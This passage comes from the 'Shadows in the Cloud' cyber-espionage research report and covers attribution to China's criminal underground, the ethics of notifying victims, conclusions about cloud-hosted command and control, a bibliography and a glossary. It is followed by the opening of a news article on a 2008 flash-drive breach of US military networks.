direction, they are involved in the buying and selling of malware, theft of intellectual property, theft of gaming credentials, fraud, blackmail, music and video piracy, and pornography (Henderson 2007b). This activity is complex and further obfuscated by the move of Eastern European-based criminal networks into Chinese cyberspace (Vass 2007). Researchers have identified several core components of the cyber crime ecosystem in the PRC: Malware Authors motivated by profit and/or stature within the blackhat community, malware authors leverage their technical skills to create and distribute exploits (including 0day vulnerabilities) as well as trojan horse programs. Their services are often advertised on discussion forums. Website Masters/Crackers by maintaining malicious websites, exploiting vulnerable websites and providing hosting for the command and control capabilities of trojans, the website masters/crackers provide the infrastructure for cybercrime in the PRC Envelopes Stealers focus on acquiring username and password pairs, known as envelopes, through the use of malware kits, which are then sold. They operate and maintain networks of infected computers but purchase services from malware authors and website masters/crackers to compensate for their general lack of technical skill. Virtual Asset Stealers/Sellers by exploiting their knowledge of the underground economy, virtual asset stealers/sellers purchase compromised credentials from envelopes stealers and sell virtual assets to online games players, QQ users and others who drive the demand for stolen virtual goods (Choo 2008; Thibodeau 2010; Zhuge et al. 2009). In additional to politically sensitive information, we did find that personal information, including banking information, was exfiltrated by the attackers. It is possible that in addition to exploiting the politically sensitive information the attacks may have also had an interest in exploiting the financial data that was stolen although we have no direct knowledge of such events occurring. 5.2.3 Overall Assessment Attribution concerning cyber espionage networks is a complex task, given the inherently obscure modus operandi of the agents or groups under investigation. Cyber criminals aim to mask their identities, and the networks investigated in this report are dispersed across multiple platforms and national jurisdictions. Complicating matters further is the politicization of attribution questions, particularly concerning Chinese inten- JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE tions around information warfare. Clearly this investigation and our analysis tracks back directly to the PRC, and to known entities within the criminal underground of the PRC. There is also an obvious correlation to be drawn between the victims, the nature of the documents stolen, and the strategic interests of the Chinese state. But correlations do not equal causation. It is certainly possible that the attackers were directed in some manner either by sub-contract or privateering by agents of the Chinese state, but we have no evidence to prove that assertion. It is also possible that the agents behind the Shadow network are operating for motives other than political espionage, as our investigation and analysis only uncovered a slice of what is undoubtedly a larger set of networks. Even more remote, but still at least within the realm of possibility, is the false flag scenario, that another government altogether is masking a political espionage operation to appear as if it is coming from within the PRC. Drawing these different scenarios and alternative explanations together, the most plausible explanation, and the one supported by the evidence, is that the Shadow network is based out of the PRC by one or more individuals with strong connections to the Chinese criminal underground. Given the often murky relationships that can exist between this underground and elements of the state, the information collected by the Shadow network may end up in the possession of some entity of the Chinese government. 5.3 Notification Investigations of malware activity, such as that undertaken as part of the Shadow and GhostNet investigations, can yield information about the network infrastructure of the attackers, information about those who have been compromised, and confidential or private documents or other data that may have been exfiltrated without prior knowledge. Access to this information on all levels raises a number of practical, ethical and legal issues, many of which are unclear given the embryonic nature of the field of inquiry as a whole. Throughout this investigation, we have been conscious of these issues and have attempted to meet a professional standard in terms of planning and documenting our steps taken in the process of notification. This entailed research into existing practices and principles, and engagement with the law enforcement, intelligence and security communities in a number of countries. We were also conscious of the need to comply with the domestic laws in whose context this investigation was undertaken namely those of India, the United States and Canada as well as principles governing all academic research at the University of Toronto, where the Citizen Lab is located. Notification itself can be broken down into several categories, each of which entails complicating factors. First, there is notification that is required to takedown the command and control infrastructure, typically to the hosting and service provider companies through which the malware networks operate and on which they are hosted. Complicating matters, these services can be located in numerous national jurisdictions and subject to a variety of privacy laws and norms. Second, there are issues around notification of victims, such as governments, businesses, NGOs and individuals. This type of notification is perhaps the most challenging on ethical, practical and legal grounds. Notification of governments, for example, can be a very sensitive matter, especially if classified documents are involved or information is retrieved that is relevant to national security concerns. The same holds true of notification to individuals or businesses. At what point should a researcher notify a victim? Who within the organization, whether it is a government, a business or an NGO, is the appropriate point of contact for the notification? What if the notification jeopardizes a third party s security, or leads to some kind of retaliation or retribution? Should researchers notify law enforcement and intelligence agencies in their own countries before reaching out to foreign governments? JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE Existing practices in this area are underdeveloped and largely informal. In part, this reflects the fact that global cyber security is still an embryonic field. But it also speaks to the very real problem of competitive power politics at the highest levels of national security, which tend to restrict information sharing in sensitive areas around cyber crime and espionage. Generally speaking, information sharing among law enforcement and intelligence agencies across borders is tentative at best, with the exception of that which occurs among close allies with deeply entrenched and long-standing links. Outside of those security communities, notification of services and governments tends to be restricted to specialist technical communities, telecommunications operators, and network administrators, if it occurs at all. Consequently, notification of the types referred to above can be ad hoc and inconsistent, largely contingent on the informal connections among professional communities. All of these issues were grappled with in the aftermath of the Tracking GhostNet report, and throughout the course of the Shadow investigation. Our experiences in the aftermath of GhostNet, where notification was left incomplete, prompted a more deliberate and self-conscious approach with the Shadow investigation. We were also fortunate to have within our collaboration the experiences of the Shadowserver Foundation, whose counsel on notification helped in making decisions about timing and contacts. By the end of November 2009, we were confident in our access to the basic command and control infrastructure and identification of some of the key documents at hand. Upon the realization that some information about individual Canadians was compromised, we notified Canadian authorities in December 2009 about the investigation, the compromise of Canadian-related information, and requested assistance on outreach with one of the victims, namely the Indian government. At the same time, we independently explored whom we might contact in the Indian government, including making inquiries with Canada s Department of Foreign Affairs. By February 2010, we were able to find on our own what we thought was an appropriate contact in the Indian government, and gave a detailed notification to the National Technology Research Organization. Our notification for takedown of the command and control infrastructure came later in the investigation, after we had collected and analyzed all of the information related to this report, but prior to its release. Our experiences illustrate the intricate, nuanced and often confusing landscape of global cyber security notification practices. The notification process will continue after the publication of this report. PART 6: Conclusions JR03-2010 Shadows in the Cloud - PART 6: CONCLUSIONS Shadows in the Cloud points to a disturbing complex ecosystem of malware. Although malware networks, cyber crime and espionage have been around for years, the evidence presented here shows how these networks can be aggressively adaptive systems, multipying and regenerating across multiple vectors and platforms, and exploting the vulnerabilties within the latest Web 2.0 technologies to expand their reach and impact. Although there is rich detail to what is uncovered in the Shadow investigation, so much of the origins, architecture and aims of these networks ultimately remain a mystery and await further investigation and analysis. However, even with the partial insights and fleeting glimpses acquired here, we can draw some conclusions and implications for further research, policy and operations. First, the research here shows, as with Tracking GhostNet, how even a relatively small research sample this case Tibetan organizations can expand, upon investigation and analysis, into an astonishingly large pool of victims. The connections drawn out here beg the question of what would emerge if the research began with a different group, from a different region of the world, with a different target set of compromised actors? Clearly, an area of methodological advantage for both the Tracking GhostNet and the Shadows in the Cloud investigations was to have access in the field to compromised computers and be able to work outwards in a structured and systematic fashion, using a combination of technical investigations and data analysis. An area of further research is to extend such efforts to other locations in other regions of the world. Such investigations may reveal other malware networks, or entirely new and unanticipated modes of crime and espionage. Second, Shadows in the Cloud underscores the extent to which the global networked society into which we have evolved socially, politically, economically, and militarily carries with it an underground ecoystem that is equally networked, though far less visible to those whom it compromises. Governments, organizations and other actors around the world have been quick to adopt computerized public and administration systems, including state security actors. Their investments into these technologies have developed at a much faster rate than the appropriate security policies and practices (Deibert and Rohozinski 2010). Although the Government of India was the most victimized according to what we uncovered in Shadows in the Cloud and that certainly should yield a major consideration of public policy and security for that country observations about India in this respect need to be qualified in at least two ways. First, Shadows in the Cloud reports only on observations and existing evidence, which by definition remain partial. There could be other countries victimized, involving these very same malware networks attackers, but of which we are unaware because of our limited samples. Second, and most importantly, there are numerous other countries and international organizations that are targeted here, perhaps not to the same extent, but targeted and infiltrated nonetheless. We can only infer what type of data was exfiltrated from these other actors that is of strategic value. Overall, however, the key point to draw is that networked societies can be compromised through networks in which they are invariably linked and mutually dependent. Third, and related, Shadows in the Cloud demonstrates clearly the potential for collateral compromise, one of the key hypotheses informing our research framework. This investigation indicates that data leakage from malware networks can compromise unwitting third parties who are not initially targeted by the attackers. Data contained on compromised machines can also contain valuable information on third parties that while on its own may not be significant, but when pieced together with other information can provide actionable and operational intelligence. The policy and operational implications of collateral compromise are serious and wideranging, and reinforce that security is only as strong as the weakest link in a chain. In today s networked world, such chains are complex, overlapping and dispersed across numerous technological platforms crossing multiple JR03-2010 Shadows in the Cloud - PART 6: CONCLUSIONS national jurisdictions. Paying attention to domestic cyber security is therefore only a partial solution to a much wider problem. Today, no country or organization is a secure island in the global sea of information. Fourth, another implication raised by Shadows in the Cloud is for criminal networks to be repurposed for political espionage as part of an evolution in signals intelligence. Although our conclusions are necessarily circumscribed by our lack of complete information in this respect, we may be seeing a blurring of the lines in malware genotypes among crimeware and more politically-motivated attacks. Part of that blurring may be deliberate on the part of actors wishing to obscure attribution, but part of it may also be a newly emerging and largely organic market for espionage products that was either contained or nonexistent in the past, and which now supplements the market for industrial espionage. This market may present opportunities for actors that, in turn, produce a refinement in their approach or methodology. Criminal actors may troll for targets widely as a first cut, triaging among the available sources of information to zero-in on those that yield commercial value on both the industrial and political espionage markets. Such a development would pose major policy and operational issues, and accelerate existing trends down the road of cyber privateering. Finally, a major implication of the findings of Shadows in the Cloud relates to the evolution towards cloud computing, social networking and peer-to-peer networking technologies that characterize much of the global networked society today. These new modes of information storage and communication carry with them many conveniences and so now are fully integrated into personal life, business, government and social organization. But as shown in the Shadow investigation, these new platforms are also being used as vectors of malware propagation and command and control (Office of Privacy Commissioner of Canada 2010). It is often said that dark clouds carry with them silver linings, but in this case the clouds contain within them a dark hidden core. As we document above, blog hosting sites, social networking forums and mail groups were turned into support structures and command and control systems for a malignant enterprise. The very same characteristics of those social networking and cloud platforms which make them so attractive to the legitimate user reliability, distribution, redundancy and so forth were what attracted our attackers to them in setting up their network. Clouds provide criminals and espionage networks with convenient cover, tiered defences, redundancy, cheap hosting and conveniently distributed command and control architectures. They also provide a stealthy and very powerful mode of infiltrating targets who have become accustomed to clicking on links and opening PDFs and other documents as naturally as opening an office door. What is required now is a much greater reflection on what it will take, in terms of personal computing, corporate responsibility and government policy, to acculturate a greater sensibility around cloud security. JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS Bibliography Adair, Steven. January 19, 2010. Cyber Espionage: Death by 1000 Cuts, Shadowserver Foundation, http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100119 (accessed April 1, 2010). Bakken, B rge, ed. 2005. Crime, Punishment, and Policing in China. Lanham, MD: Rowman & Littlefield. Bejtlich, Richard. January 22, 2010. Attribution Using 20 Characteristics, TaoSecurity, http://taosecurity.blogspot.com/2010/01/attribution-using-20-characteristics.html (accessed April 1, 2010). Burstein, Aaron J. 2008. Conducting Cybersecurity Research Legally and Ethically, LEET 2008, San Francisco, CA, http://www.usenix.org/event/leet08/tech/full_papers/burstein/burstein_html/ (accessed April 1, 2010). Curle, Adam. 1949. A Theoretical Approach to Action Research, Human Relations, 2:3, 269-280. Choo, Kim-Kwang Raymond, 2008. Organised Crime Groups in Cyberspace: A Typology, Trends in Organized Crime, 11:3, 270-295. Cloppert, Mike. October 14, 2009. Security Intelligence: Attacking the Kill Chain, SANS Computer Forensics Investigations and Incident Response Blog, http://blogs.sans.org/computer-forensics/2009/10/14/security-intelligence-attacking-the-kill-chain/ (accessed April 1, 2010). Cooke, Evan., Farnam Jahanian, Danny McPherson. 2005. The Zombie Roundup: Understanding, Detecting, and Disrupting Botnets, USENIX, SRUTI 2005, Cambridge, MA, http://www.usenix.org/event/sruti05/tech/cooke.html (accessed April 1, 2010). Dagon, David, Cliff Zou, and Wenke Lee. 2006. Modeling Botnet Propagation Using Time Zones, NDSS 2006, San Diego CA, http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.128.8689&rep=rep1&type=pdf (accessed April 1, 2010). Defence Research and Development Organisation. February 1, 2009. Tactical command, control, communication, computer and intelligence. Bulletin, http://www.drdo.org/pub/techfocus/2009/feb09.pdf (accessed April 1, 2010). Deibert, Ronald, and Rafal Rohozinski. 2010. Risking Security: The policies and paradoxes of cyberspace security, International Political Sociology, 4:1, 15-32. Deloitte & Touche LLP, 2010. Cyber Crime: A Clear and Present Danger Combating the Fastest Growing Cyber Security Threat, http://www.deloitte.com/assets/Dcom-UnitedStates/Local%20Assets/Documents/AERS/us_aers_Deloitte%20Cyber%20Crime%20 POV%20Jan252010.pdf (accessed April 1, 2010). F-Secure. 2010. PDF Based Targeted Attacks are Increasing, http://www.f-secure.com/weblog/archives/00001903.html (accessed April 1, 2010). Frontier India. June 12, 2009. Artillery Combat Command and Control System SHAKTI dedication to Indian Army. http://frontierindia.net/artilery-combat-command-and-control-system-shakti-dedication-to-indian-army (accessed April 1, 2010). Henderson, Scott. 2009a. CasperNet Gets Punked, The Dark Visitor blog, http://www.thedarkvisitor.com/tag/lost33 (accessed April 1, 2010). Henderson, Scott. 2009b. Hunting the GhostNet Hacker, The Dark Visitor blog, http://www.thedarkvisitor.com/2009/04/hunting-the-ghostnet-hacker (accessed April 1, 2010). Henderson, Scott. 2007a. Top Chinese Hackers, The Dark Visitor blog, http://www.thedarkvisitor.com/2009/04/hunting-the-ghostnet-hacker(accessed April 1, 2010). Henderson, Scott. 2007b. The Dark Visitor. http://www.lulu.com/items/volume_62/2048000/2048958/4/print/2048958.pdf (accessed April 1, 2010). JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS Higgins, Kelly Jackson. September 24, 2008. Shadowserver to Build Sinkhole to Find Errant Bots, Dark Reading, http://www.darkreading.com/security/management/showArticle.jhtml?articleID=211201241 (accessed April 1, 2010). India Defence. 2007. Indian Army Tests Indigenous Battlefield Surveillance System, http://www.india-defence.com/reports-3171 (accessed April 1, 2010). Indian Embassy. 1998. National Security Council Setup, http://www.indianembassy.org/inews/December98/9.htm (accessed April 1, 2010). Indian Government. 2010. Overseas. http://india.gov.in/overseas.php (accessed April 1, 2010). Jagatic, Tom N., Nathaniel A. Johnson, Markus Jakobsson, and Filippo Menczer. 2007. Social Phishing, Communications of the ACM, 50:10, 94-100, http://portal.acm.org/citation.cfm?id=1290958.1290968&coll=GUIDE&dl=GUIDE&CFID=74760848&CFTOKEN=96817982 (accessed April 1, 2010). Keith, Ronald and Zhiqiu Lin. 2005. New Crime in China: Public Order and Human Rights. London: Routledge. Lam, Willy. November 18, 2009. Mafias expose China s legal woes, Asia Times Online, http://www.atimes.com/atimes/China/KK18Ad01.html (accessed April 1, 2010). Lewin, Kurt. 1946. Action Research and Minority Problems, Journal of Social Issues, 2, 34-46. Mandiant, 2010. M Trends: The Advanced Persistent Threat, http://www.mandiant.com/products/services/m-trends (accessed April 1, 2010). Markoff, John, and David Barboza. February 18, 2010. 2 China Schools Said to Be Tied to Online Attacks. New York Times, http://www.nytimes.com/2010/02/19/technology/19china.html (accessed April 1, 2010). Nazario, Jose. 2009a. Twitter-based Botnet Command Channe, Arbor Networks, http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel (accessed April 1, 2010). Nazario, Jose. 2009b. Malicious Google AppEngine Used as a CnC, Arbor Networks, http://asert.arbornetworks.com/2009/11/malicious-google-appengine-used-as-a-cnc (accessed April 1, 2010). Nolan, Jason, and Michelle Levesque. 2005. Hacking human: data-archaeology and surveillance in social networks, ACM SIGGROUP Bulletin, 25:2, 33-37, http://portal.acm.org/citation.cfm?id=1067721.1067728&coll=ACM&dl=ACM&CFID=84425230&CFTOKEN=14042216 (accessed April 1, 2010). Northrop Grumman. 2009. Capability of the People s Republic of China to Conduct Cyber Warfare and Computer Network Exploitation, http://www.uscc.gov/.../NorthropGrumman_PRC_Cyber_Paper_FINAL_Approved%20Report_16Oct2009.pdf (accessed April 1, 2010). Office Of the Privacy Commissioner of Canada. 2010. Reaching for the Cloud(s):Privacy Issues related to Cloud Computing. http://www.priv.gc.ca/information/pub/cc_201003_e.cfm (accessed April 2, 2010). Parker, Tom, Eric Shaw, Ed Stroz, Matthew G. Devost, and Marcus H. Sachs. 2004. Cyber Adversary Characterization: Auditing the Hacker Mind, Syngress Publishing Inc: Rockland MA. Parker, Tom, Dave Farell, Toby Miller, and Matthew G. Devost. 2003. Adversary Characterization and Scoring Systems, Blackhat 2003, Las Vegas, NV. http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-parker.pdf. Ramachandran, Anirudh., Nick Feamster, and David Dagon. 2006. Revealing Botnet Membership Using DNSBL Counter-Intelligence. USENIX, SRUTI 2006, San Jose, CA, http://www.usenix.org/events/sruti06/tech/full_papers/ramachandran/ramachandran.pdf (accessed April 1, 2010). JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS Rajab, Moheeb Abu., Jay Zarfoss, Fabian Monrose, and Andreas Terzis. 2007. My Botnet is Bigger than Yours (Maybe, Better than Yours): Why Size Estimates Remain Challenging . USENIX, Hotbots 2007, Cambridge, MA, http://www.usenix.org/event/hotbots07/tech/full_papers/rajab/rajab.pdf (accessed April 1, 2010). Ratzlav-Katz, Nissan. January 7, 2010. Iron Dome Anti-Missile System Ready for Deployment, Arutz Sheva, http://www.israelnationalnews.com/News/News.aspx/135406 (accessed April 1, 2010). Saikorian Association. Website, www.saikorian.org (accessed April 1, 2010). Smith, Allen M., Nancy Y. Toppel. 2009. Case Study: Using Security Awareness to Combat the Advanced Persistent Threat, 13th Colloquium for Information Systems Security Education, Seattle, WA, http://www.cisse2009.com/colloquia/cisse13/proceedings/PDFs/Papers/S03P02.pdf (accessed April 1, 2010). s Land Forces. 2008. Network Centricity: An answer to security threats. http://www.spslandforces.net/news.asp?news=16 (accessed April 1, 2010). Stone-Gross, Brett, Marco Cova, Lorenzo Cavallaro, Bob Gilbert, Martin Szydlowski, Richard Kemmerer, Christopher Kruegel, and Giovanni Vigna. 2009. Your Botnet is My Botnet: Analysis of a Botnet Takeover, ACM, CCS 2009, Chicago, IL, http://www.cs.ucsb.edu/%7Eseclab/projects/torpig/torpig.pdf (accessed April 1, 2010). Subrahmanyam, Krishnaswamy. January 22, 2010. National Security Advisor: Does India Need One? The Northlines, http://www.northlines.in/newsdet.aspx?q=28365 (accessed April 1, 2010). Symantec. 2010. The Nature of Cyber Espionage: Most Malicious File Types Identified and Encrypted Spam from Rustock, MessageLabs Intelligence, http://www.messagelabs.com/mlireport/MLI_2010_03_Mar_FINAL-EN.pdf (accessed April 1, 2010). Symantec. 2009a. Trojan.Whitewell: What s your (bot) Facebook Status Today? Symantec Security Response Blog, http://www.symantec.com/connect/blogs/trojanwhitewell-what-s-your-bot-facebook-status-today (accessed April 1, 2010). Symantec. 2009b. Google Groups Trojan, Symantec Security Response Blog, http://www.symantec.com/connect/blogs/google-groups-trojan (accessed April 1, 2010). Thibodeau, Patrick, 2010. FBI List Top 10 Posts in Cybercriminal Operations, Computer World, http://www.computerworld.com/s/article/9173965/FBI_lists_Top_10_posts_in_cybercriminal_operations (accessed April 1, 2010). Unmask Parasites. 2009. Hackers Use Twitter API To Trigger Malicious Scripts, http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts (accessed April 2, 2010). Vallentin, Matthias, Jon Whiteaker, and Yahel Ben-David. 2009. The Gh0st in the Shell: Network Security in the Himalayas, Berkeley, http://cs.berkeley.edu/~mavam/cw/cs294-28-paper.pdf (accessed April 1, 2010). Van Horenbeeck, Maarten. 2008a. Is Troy Burning? An Overview of Targeted Trojan Attacks, SANS Internet Storm Center, SANSFire 2008, Washington DC. http://isc.sans.org/.../SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf (accessed April 1, 2010). Van Horenbeeck, Maarten. 2008b. Overview of Cyber Attacks Against Tibetan Communities, Internet Storms Centre, http://isc.sans.org/diary.html?storyid=4177 (accessed April 1, 2010). Van Horenbeeck, Maarten. 2007. Crouching PowerPoint, Hidden Trojan, 24th Chaos Communication Congress, Berlin, http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.htm (accessed April 1, 2010). Vass, Lisa. November 8, 2009. RBN Gang Moves Setups Shop in China, eWeek, http://www.eweek.com/c/a/Security/RBN-Gang-Moves-Sets-Up-Shop-in-China/ (accessed April 1, 2010). Villeneuve, Nart. 2010. The Kneber Botnet, Spear Phishing Attacks and Crimeware , Information Warfare Monitor, http://www.infowar-monitor.net/2010/03/the-kneber-botnet-spear-phishing-attacks-and-crimeware/ (accessed April 1, 2010). Zetter, Kim. 2009. Electronic Spy Network Focused on Dalai Lama and Embassy Computers. Wired Magazine, March 28, http://www.wired.com/threatlevel/2009/03/spy-system-focu (accessed April 1, 2010). JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS Zetter, Kim. 2007a. Rogue Nodes turn Tor Anonymizer into Eavesdropper s Paradise, Wired Magazine, http://www.wired.com/politics/security/news/2007/09/embassy_hack (accessed April 1, 2010). Zetter, Kim. 2007b. Tor Researcher Who Exposed Embassy E-mail Passwords gets Raided by Swedish FBI and CIA, Threat Level, Wired Magazine, http://www.wired.com/threatlevel/2007/11/swedish-researc/#ixzz0ex7BEUYk (accessed April 1, 2010). Suggested Readings Targeted Malware Research Aeon Security Blog. February 8, 2010. Defending Against Advanced Persistent Threats, http://www.theaeonsolution.com/security/?p=231 (accessed April 1, 2010). Aeon Security Blog. February 16, 2010. You Say Advanced I Say Structured, http://www.theaeonsolution.com/security/?p=251 (accessed April 1, 2010). Beecroft, Alexander. 2009. Passive Fingerprinting of Comptuer Network Reconnaissance Tools, Naval Postgraduate School, http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA509167&Location=U2&doc=GetTRDoc.pdf (accessed April 1, 2010). FireEye Malware Intelligence Lab. November 6 2009. Smashing the Mega-d/Ozdok botnet in 24 hours, http://blog.fireeye.com/research/2009/11/smashing-the-ozdok.html (accessed April 1, 2010). McDougal, Monty. 2009. Castle Warrior: Redefining 21st Century Network Defense . 5th Annual Workshop on Cyber Security and Information Intelligence Research: Cyber Security and Information Intelligence Challenges and Strategies, Oakridge, TN. http://portal.acm.org/citation.cfm?id=1558607.1558675 (accessed April 1, 2010). Mehta, Neel. March 30, 2010. The Chilling Effects of Malware, Google Online Security Blog, http://googleonlinesecurity.blogspot.com/2010/03/chilling-effects-of-malware.html (accessed April 1, 2010). Van Horenbeeck, Maarten. 2008. Is Troy Burning? An Overview of Targeted Trojan Attacks, SANS Internet Storm Center, SANSFire 2008, Washington DC. http://isc.sans.org/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf (accessed April 4, 2010). Van Horenbeeck, Maarten. 2008. Overview of Cyber Attacks Against Tibetan Communities, Internet Storm Centre, http://isc.sans.org/diary.html?storyid=4177 (accessed April 1, 2010). Van Horenbeeck, Maarten. 2007. Crouching PowerPoint, Hidden Trojan, 24th Chaos Communication Congress, Berlin, http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.html (accessed April 4, 2010). Cloud Computing Security Armbrust, Michael, et al. 2009. Above the Clouds: A Berkeley View of Cloud Computing, UC Berkeley Reliable Adaptive Distributed Systems Laboratory, http://www.eecs.berkeley.edu/Pubs/TechRpts/2009/EECS-2009-28.pdf (accessed April 1 2010). Jensen, Meiko, Jorg Schwenk, Nils Grushka, and Luigi Lo Iancono. 2009. On Technical Security Issues in Cloud Computing , 2009 IEEE International Conference on Cloud Computing, Bangalore India, 109-116, http://www.computer.org/portal/web/csdl/doi/10.1109/CLOUD.2009.60 (accessed April 1 2010). Mansfield-Devine, Steve. 2008. Danger in the clouds, Network Security, 2008:12, 9-11. JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS International Law Radsan, Afsheen John. 2007. The Unresolved Equation of Espionage and International Law, Michigan Journal of International Law, 28:597, 596-623. Rajnovic, Damir, 2009. Do We Need a Global CERT? CISCO Security Blogs, http://blogs.cisco.com/security/comments/do_we_ need_a_global_cert/ (accessed April 1 2010). Zhu, Li-xin. 2009. Research on the International Law of Information Network Operations, Air Force Engineering University, Xi China, http://en.cnki.com.cn/Article_en/CJFDTOTAL-HBFX200901009.htm (accessed April 1 2010). Chinese Information Warfare, Strategy and Doctrine Bruzdzinski, Jason E. 2004. Demystifying Shashoujian: China Assassin s Mace Concept In Civil-Military Change in China: Elites, Institutes and Ideas After the 16th Party Congress, Andrew Scobell, Larry Wortzel (Eds), 179-218, Strategic Studies Institute: Carlise, PA. Harris, Shane. 2008. China s Cyber-Militia, National Journal. http://www.nationaljournal.com/njmagazine/cs_20080531_6948.php (accessed April 1 2010). Niu Li, Li Jiangzhou, and Xu Duhui. 2000. On Information Warfare Strategems, Zhongguo Junshi Kexue, August 20, 2000, 115-122, in FBIS. Thomas, Timothy L. 2004. Dragon Bytes: Chinese Information-War Theory and Practice, Foreign Military Studies Office: Fort Leavenworth, KS. Wang Baocun, 1997. A Preliminary Analysis of Information Warfare, Zhongguo Junshi Kexue, 102-111. Fusion Methodology and Intelligence Ieva, Christopher S. 2008. The Holistic Targeting (HOT) Methodology as the Means to Improve Information Operations (IO) Target Development and Prioritization, Naval Postgraduate School, Monterey, CA http://www.stormingmedia.us/81/8168/A816884.html (accessed April 1, 2010). Menthe, Lance and Sullivan, Jeffrey, 2008. A RAND Analysis Tool for Intelligence, Surveillance, and Reconnaissance: The Collections Operations Model RAND: Santa Monica, CA. Merten, Steffen. 2009. Employing Data Fusion in Cultural Analysis and Counterinsurgency in Tribal Social Systems, Strategic Insights, 8:3. Moffat, James. 2003. Complexity Theory and Network Centric Warfare, Information Age Transformation Series, Command and Control Research Program, Pentagon, Washington, DC, http://www.dodccrp.org/files/Moffat_Complexity.pdf (accessed April 1 2010). Pernin, Christopher G. Moore., Louis R., Comanor Katherine. 2007. The Knowledge Matrix Approach to Intelligence Fusion, United States Army and RAND Arroyo Centre, http://www.rand.org/pubs/technical_reports/TR416/ (accessed April 1 2010). Prestov, I. 2009. Dynamic Network Analysis for Understanding Complex Systems and Processes, Defence R&D Canada - Center for Operational Research and Analysis, Ottawa. Field investigation - Action Research Carey-Smith, Mark T, Karen J. Nelson, and Lauren J May. 2007. Improving Information Security Management in Nonprofit Organisations with Action Research, 5th Australian Information Security Management Conference. http://eprints.qut.edu.au/14346/ (accessed 01 April 2010). JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS Curle, Adam., and Trist, E. L. 1947. Transitional Communities and Social Reconnection. Human Relations. Vol. 1:1/2. Jaques, Elliott. 1949. Interpretive Group Discussion as a Method of Facilitating Social Change. Human Relations, 2:3, 269-280. Brien, R. 2001. Um exame da abordagem metodol gica da pesquisa a o [An Overview of the Methodological Approach of Action Research]. In Roberto Richardson (Ed.), Teoria e Pr tica da Pesquisa A o [Theory and Practice of Action Research]. Jo o Pessoa, Brazil: Universidade Federal da Para ba, http://www.web.ca/~robrien/papers/arfinal.html (accessed 01 April 2010). Contemporary Tibet Barnett, Robert. 2010. The Tibet Protests of Spring, 2008, China Perspectives, 2009:3, 6-24 http://chinaperspectives.revues.org/document4836.html. (accessed April 1, 2010). Jerryson, Michael, and Mark Juergensmeyer. 2010. Buddhist Warfare, Oxford University Press: New York. JR03-2010 Shadows in the Cloud - GLOSSARY Glossary 0day - is an exploit for which there is no fix from the software vendor available. Botnet - refers to a collection of compromised networked computers that can be controlled remotely by an attacker. Beacon / beaconing / check in - attempts by a compromised computer to connect to a command and control server. Blackhat - generally refers to a person who attempts to compromise information technology systems or networks for malicious purposes. Cloud computing - is an emerging computing paradigm that generally refers to systems that enable network devices to access data, services, and applications on-demand. Command and control server - refers to the network server that sends commands to compromised computers in a botnet. DNS (domain name system) - is a hierarchical naming system for computers, services, or any resource participating in the Internet. DoS Attack (denial of service attack) - is an attempt to prevent users from accessing a specific computer resource, such as a Web site. DDoS, (distributed denial of service attacks) usually involve overwhelming the targeted computer with requests so that it is no longer able to communicate with its intended users. HTTP (Hypertext Transfer Protocol) - is a set of standards for exchanging text, images, sound and video by means of the Internet. IP address (Internet protocol address) - is a numerical identification assigned to devices participating in a computer network utlizing the Internet protocol. Malware (malicious software) - refers to software designed to carry out a malicious purpose. Varieties of malware include computer viruses, worms, trojan horses, and spyware. OHHDL - Office of His Holiness the Dalai Lama. Phishing - an attack in which an attacker attempts to obtain sensitive information from an individual by masquerading as a trusted third party. A common example of such an attack is a user receiving an email from a source that appears to be a trustworthy entity, such as the user s bank. Such emails often request the user to visit a website that appears to be the login page of a service they use, such as online banking, and enter their username and password, which is then collected by the attackers and used for malicious purposes. PRC - People s Republic of China. Sinkhole - Operating domain names formerly used as command and control servers. Spear phishing - is a targeted form of phishing in which a victim is typically sent an email that appears to be from an individual or organization they know. Usually the content of the email includes information that is relevant to the victim and includes a malicious file attachment or link that when opened excecutes malicious code on the victim s computer. RiR (Regional Internet Registry) - is an organization that manages the allocation and registration of Internet number resources within a specific geographic region. TGIE - Tibetan Government in Exile. TPIE - Tibetan Parliament in Exile. Tor - is an anonymity system that defends users from traffic analysis attacks in which attackers attempt to monitor users online behaviour. JR03-2010 Shadows in the Cloud - GLOSSARY Web 2.0 - typically refers to Web-based applications and services that enable user participation, collaboration, and data sharing. WHOIS - is a public database of all domain name registrations, which provides information on individuals who register domain names. Whitehat - generally refers to a person who attempts to infiltrate information technology systems or networks in order to expose weakness so they can be corrected by the system s owners. Also known as an ethical hacker. Defense official discloses cyberattack washingtonpost.com /wp-dyn/content/article/2010/08/24/AR2010082406495.html Now it is official: The most significant breach of U.S. military computers was caused by a flash drive inserted into a U.S. military laptop on a post in the Middle East in 2008. In an article to be published Wednesday discussing the Pentagon's cyberstrategy, Deputy Defense Secretary William J. Lynn III says malicious code placed on the drive by a foreign intelligence agency uploaded itself onto a network run by the U.S. military's Central Command. "That code spread undetected on both classified and unclassified systems, establishing what amounted to a digital beachhead, from which data could be transferred to servers under foreign control," he says in the Foreign Affairs article. "It was a network administrator's worst fear: a rogue program operating silently, poised to deliver operational plans into the hands of an unknown adversary." Lynn's decision to declassify an incident that Defense officials had kept secret reflects the Pentagon's desire to raise congressional and public concern over the threats facing U.S. computer systems, experts said. Much of what Lynn writes in Foreign Affairs has been said before: that the Pentagon's 15,000 networks and 7 million computing devices are being probed thousands of times daily; that cyberwar is asymmetric; and that traditional Cold War deterrence models of assured retaliation do not apply to cyberspace, where it is difficult 